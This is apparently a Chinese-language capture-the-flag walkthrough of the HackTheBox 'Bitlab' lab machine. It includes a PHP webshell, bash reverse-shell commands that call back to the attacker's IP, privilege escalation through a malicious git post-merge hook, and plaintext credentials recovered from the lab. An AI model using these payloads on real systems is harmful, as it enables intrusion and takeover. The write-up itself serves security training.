出品|MS08067实验室(www.ms08067.com)

本文作者:是大方子(Ms08067实验室核心成员)

0x00 本文目录

  • 反思与总结
  • 基本信息
  • 渗透测试过程
  • 补充

0x01 反思与总结

  1. curl 发送GET参数化请求
  2. 对反弹回来的shell进行设置完善
  3. 使用git hooks来进行提权

0x02 基本信息

靶机IP地址:10.10.10.114

Kali IP地址:10.10.14.13

0x03 渗透测试过程

端口探测

  1. root@kali:~/HTB/bitlab# nmap ‐sC ‐sV ‐oA bitloab 10.10.10.114
  2. Starting Nmap 7.80 ( https://nmap.org ) at 2020‐01‐22 10:04 CST
  3. Nmap scan report for 10.10.10.114
  4. Host is up (0.24s latency).
  5. Not shown: 998 filtered ports
  6. PORT STATE SERVICE VERSION
  7. 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  8. | sshhostkey:
  9. | 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
  10. | 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
  11. |_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
  12. 80/tcp open http nginx
  13. | httprobots.txt: 55 disallowed entries (15 shown)
  14. | / /autocomplete/users /search /api /admin /profile
  15. | /dashboard /projects/new /groups/new /groups/*/edit /users /help
  16. |_/s/ /snippets/new /snippets/*/edit
  17. | httptitle: Sign in \xC2\xB7 GitLab
  18. |_Requested resource was http://10.10.10.114/users/sign_in
  19. |_httptraneinfo: Problem with XML parsing of /evox/about
  20. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  21. Service detection performed. Please report any incorrect results at
  22. https://nmap.org/submit/ .
  23. Nmap done: 1 IP address (1 host up) scanned in 34.44 seconds

目标靶机开放了80 和 22端口

目录探测

我们先从80下手,查看下网页内容

先使用gobuster进行扫描

  1. gobuster dir u "http://10.10.10.114/" w /usr/share/wordlists/dirbuster/directorylist2.3medium.txt t 150 s 200,204,301,307,401,403 o bitlab.gobuster

参数介绍:

  1. dir: 表示扫描目录的模式
  2. -w: 使用的字典
  3. -t: 线程数量
  4. -s: 只显示响应码为200,204,301,307,401,403的路径,因为我们访问网页的时候有些位置是不允许我们访问会被302跳转到登录界面

对出现的结果逐一查看,发现除了help外其他的网页都没什么可用信息

漏洞发现

打开help下的bookmarks.html

对这几个超链接逐一查看,发现前面4个连接都只是分别指向hackthebox,Docker,PHP,Node.js的官网并没有什么信息

点击 【Gitlab Login】 时,发现没反应,但是出现了javascript代码。

我们打开源码进行查看

把javascript代码复制出来放到https://beautifier.io/进行美化并把里面的HTML实体去除,得到下面的结果

  1. javascript: (function() {
  2. var _0x4b18 = ["\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
  3. document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];
  4. document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];
  5. })()

把_0x4b18里面的内容翻译下(十六进制转字符)

  1. var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password","11des0081x"];

那么下面2行代码

  1. document[getElementById](user_login)[value] = clave;
  2. document[getElementById](user_password)[value] = 11des0081x;

感觉是账号密码的感觉,我们在登录界面使用console进行尝试

账号密码直接出现并成功登录

登录后有2个库

在deployer中发现index.php,像是一个挂钩文件,当Profile存储库合并了一个新的提交时就会执行命令

切换到 profile目录 , 并且执行sudo git pull

  1. <?php
  2. $input = file_get_contents("php://input");
  3. $payload = json_decode($input);
  4. $repo = $payload‐>project‐>name ?? '';
  5. $event = $payload‐>event_type ?? '';
  6. $state = $payload‐>object_attributes‐>state ?? '';
  7. $branch = $payload‐>object_attributes‐>target_branch ?? '';
  8. if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged')
  9. {
  10. echo shell_exec('cd ../profile/; sudo git pull'),"\n";
  11. }
  12. echo "OK\n";

那么我们只要写入一个webshell并合并到profile库中,那么这个index.php就会把我们的webshell给pull下来

我们创建一个分支

切换到这个分支,然后在这个分支上创建一个webshell

写入一个webshell,并提交

  1. <?php
  2. if(isset($_REQUEST['cmd'])){
  3. echo "<pre>";
  4. $cmd = ($_REQUEST['cmd']);
  5. system($cmd);
  6. echo "</pre>";
  7. die;
  8. }
  9. ?>

创建合并请求

然后就可以看到我们的webshell就成功合并如mstaer库

此时应该会被之前的挂钩文件pull到本地,我们尝试访问看看

  1. http://10.10.10.114/profile/dfz.php?cmd=whoami

也可以通过curl来进行命令执行

  1. curl G "http://10.10.10.114/profile/dfz.php" ‐‐dataurlencode 'cmd=whoami'
  1. -G:表示发送GET请求
  2. --data--urlencode:对数据进行URL编码

这样我们就拿到了webshell

反弹shell

接下来就是反弹shell

kali先nc先监听端口

然后用curl反弹,这里需要注意的是,反弹shell的指令前面还需要用到bash -c

  1. curl G "http://10.10.10.114/profile/dfz.php" ‐‐dataurlencode "cmd=bash ‐c 'bash ‐i >&/dev/tcp/10.10.14.13/9001 0>&1'"

反弹回来的shell,会出现字符错误,无法编辑vim等问题

输入下面的指令对反弹回来的shell进行设置,让后面我们可以正常使用

  1. python c "import pty;pty.spawn('/bin/bash')"
  2. ctrl + z (后台挂起shell)
  3. stty raw echo
  4. fg + 多个回车
  5. stty rows 34 cols 136
  6. export TERM=xterm

这样我们反弹回来的shell就可以像我们平常用的那个shell一样了

权限提升

进入之后我们看下sudo -l 有没有能突破的点

这里我们可以看到 www-data用户可以不需要密码

以root的权限调用git pull 命令

这里我们可以用git的hook文件来进行提权

在.git/hooks文件中有一些模板,我们可以对照进行编写

因为sudo运行www-data用户运行git pull文件

那么我们找下运行这个命令的时候会触发哪个hook文件

可以通过下面命令查看

  1. man githooks
  2. ``
  3. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185740234-1026583186.png)
  4. 可以看到在执行git pull时,会触发post-merge这个文件
  5. 但是在hook文件里面没有这个文件,我需要手动创建
  6. 但是这个文件夹我们没有写的权限
  7. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185749705-912886101.png)
  8. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185752973-144944487.png)
  9. 那么我们把这个文件给重新拷贝一份出来
  10. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185800263-124818260.png)
  11. 然后在 /tmp/dfz/profile/.git/hooks/中创建一个 post-merge文件 ,并赋予执行权限

!/bin/bash

bash ‐c 'bash ‐i >& /dev/tcp/10.10.14.11/9000 0>&1'


  1. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185833394-494317730.png)
  2. 那么我们接下来做的就是要触发git pull,在这之前我们需要在仓库里面添加一个新的文件,这样git pull才能有效果,否则就有如下的提示
  3. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185841113-665039151.png)
  4. 我们可以直接添加一个文件并合并
  5. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185851674-259392223.png)
  6. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185901432-330126112.png)
  7. kali进行监听,然后再进行sudo git pull
  8. 然后就得到root权限
  9. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185910202-1280118874.png)
  10. ##0x04 补充
  11. 还有另一种方法get flag
  12. 我们在进入到profile仓库后可以看到一个TODO
  13. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185920897-383328840.png)
  14. 然后我们在

http://10.10.10.114/users/clave/snippets

  1. 里面找到postgresql的代码片段
  2. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185943323-324217562.png)
  3. 可以看到这段代码在查询数据,我们可以看下它查询的是什么数据

array(1) {

[0]=>

array(3) {

  1. ["id"]=>
  2. string(1) "1"
  3. ["username"]=>
  4. string(5) "clave"
  5. ["password"]=>
  6. string(22) "c3NoLXN0cjBuZy1wQHNz=="

}

}


  1. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308190130918-1540436481.png)
  2. 我们尝试登录到clave
  3. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308190140829-1320805973.png)
  4. 成功!
  5. 同时我们在clave的家目录下看到一个exe
  6. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308190148893-551189736.png)
  7. 我们通过scp下载回来

scp clave@10.10.10.114:RemoteConnection.exe .


  1. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308190208840-163667243.png)
  2. 使用OD进行调试也可以看到root的账号密码

Qf7]8YSV.wDNF*[7d?j&eD4^


  1. ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308190230357-2105679878.png)
  2. &emsp;
  3. &emsp;
  4. &emsp;
  5. **<font color=red>转载请联系作者并注明出处!</font>**
  6. Ms08067安全实验室专注于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。
  7. 团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。
  8. 官方网站:https://www.ms08067.com/
  9. 扫描下方二维码加入实验室VIP社区
  10. 加入后邀请加入内部VIP群,内部微信群永久有效!
  11. <img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171059867-27992252.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171108710-1006825273.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171113475-91288513.jpg" width=30% height=30%>
  12. <img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171130928-1756064793.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171138875-1861126870.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171146080-229256920.jpg" width=30% height=30%>

【HTB系列】靶机Bitlab的渗透测试的更多相关文章

  1. 【HTB系列】靶机Frolic的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  2. 【HTB系列】靶机Access的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  3. 【HTB系列】靶机Chaos的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 知识点: 通过域名或者IP可能会得到网站的不同响应 Wpscan的扫描wordpress ...

  4. 【HTB系列】靶机Querier的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 总结与反思: 1.收集信息要全面 2.用snmp-check检查snmp目标是否开启服务 ...

  5. 【HTB系列】靶机Netmon的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 总结和反思: win中执行powershell的远程代码下载执行注意双引号转义 对po ...

  6. 【HTB靶场系列】靶机Carrier的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  7. 【HTB系列】靶机Vault的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Kali: 10.10.14.213 靶机地址:10.10.10.109 先用nmap探 ...

  8. 【HTB系列】靶机Teacher的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Kali: 10.10.14.50 靶机地址:10.10.10.153 先用nmap 对 ...

  9. 【HTB系列】 靶机Swagshop的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 总结与反思 使用vi提权 magento漏洞的利用 magescan 工具的使用 靶机 ...

随机推荐

  1. 活动精彩实录 | 阿里云刘军民(米诺):Cassandra中文社区年度回顾

    点击这里观看完整视频 大家好,我是刘军民,我是阿里云数据库的产品经理,目前负责云数据库的产品规划以及相关工作.曾在2019年和多位小伙伴一起发起了中文社区,我希望有更多的小伙伴能加入到社区建设中,这样 ...

  2. WSL2 准备dotnet core开发环境

    首先我们要知道WSL Ubuntu的版本,以便进行下一步操作: 我的是18.04,所以安装dot net SDK我们参考这里: https://docs.microsoft.com/en-us/dot ...

  3. Linux程序设计——Linux基础

    1. 什么是Linux 1)Linux系统是一种自由和开放源代码的类UNIX的完整操作系统. 2)林纳斯·本纳第克特·托瓦兹(LinusBenedictTorvalds,1969年~) 3)诞生于19 ...

  4. 一篇文章图文并茂地带你轻松实践 HTML5 history api

    HTML5 history api 前言 由于笔者在网络上没有找到比较好的关于 history api 的实践案例,有的案例过于杂乱,没有重点,有些案例只是告诉读者 api 是什么,却没告诉怎么用,本 ...

  5. js的变量,作用域,内存

    一,基本类型和引用类型的值基本类型的值是按值访问的,引用类型的值是保存在内存中的对象1,动态的属性 只有引用类型的值可以添加属性方法 不能给基本类型添加属性和方法2,复制变量值 复制基本类型的值,两个 ...

  6. copy-webpack-plugin & ignore folder

    copy-webpack-plugin & ignore folder https://github.com/webpack-contrib/copy-webpack-plugin#ignor ...

  7. Keep Fitness

    Keep Fitness 健身 keep health 训练流程 Part 1 热身 5-10分钟 Part 2 肌肉力量训练 30分钟 大肌群包括:胸.背.腿.臀: 小肌群包括:肩.二头肌.三头肌. ...

  8. VSCode & Node.js & debugger & inspector

    VSCode & Node.js & debugger & inspector F5 ws 元信息 (UUID) ws://127.0.0.1:46912/efa91bda-1 ...

  9. Renice INC:全球经济危机持续,2021年红酒市场走向如何?

    2021年,全球经济危机仍在持续,很多国家的经济出现了严重的下滑,不得不以降低利率维持经济.那么,全球经济危机对于红酒市场有什么影响?2021年,红酒市场走势如何呢?近日,美国知名红酒公司伦尼斯公司对 ...

  10. 【重榜?】.NET 6 Preview 1 开箱上手!带你尝试新版本更新!

    目录 跨平台 UI 应用 Blazor 桌面应用 System.CommandLine 其它更新 ASP.NET Core 最近 .NET 6 Preview 1 发布了,.NET 统一是此版本的核心 ...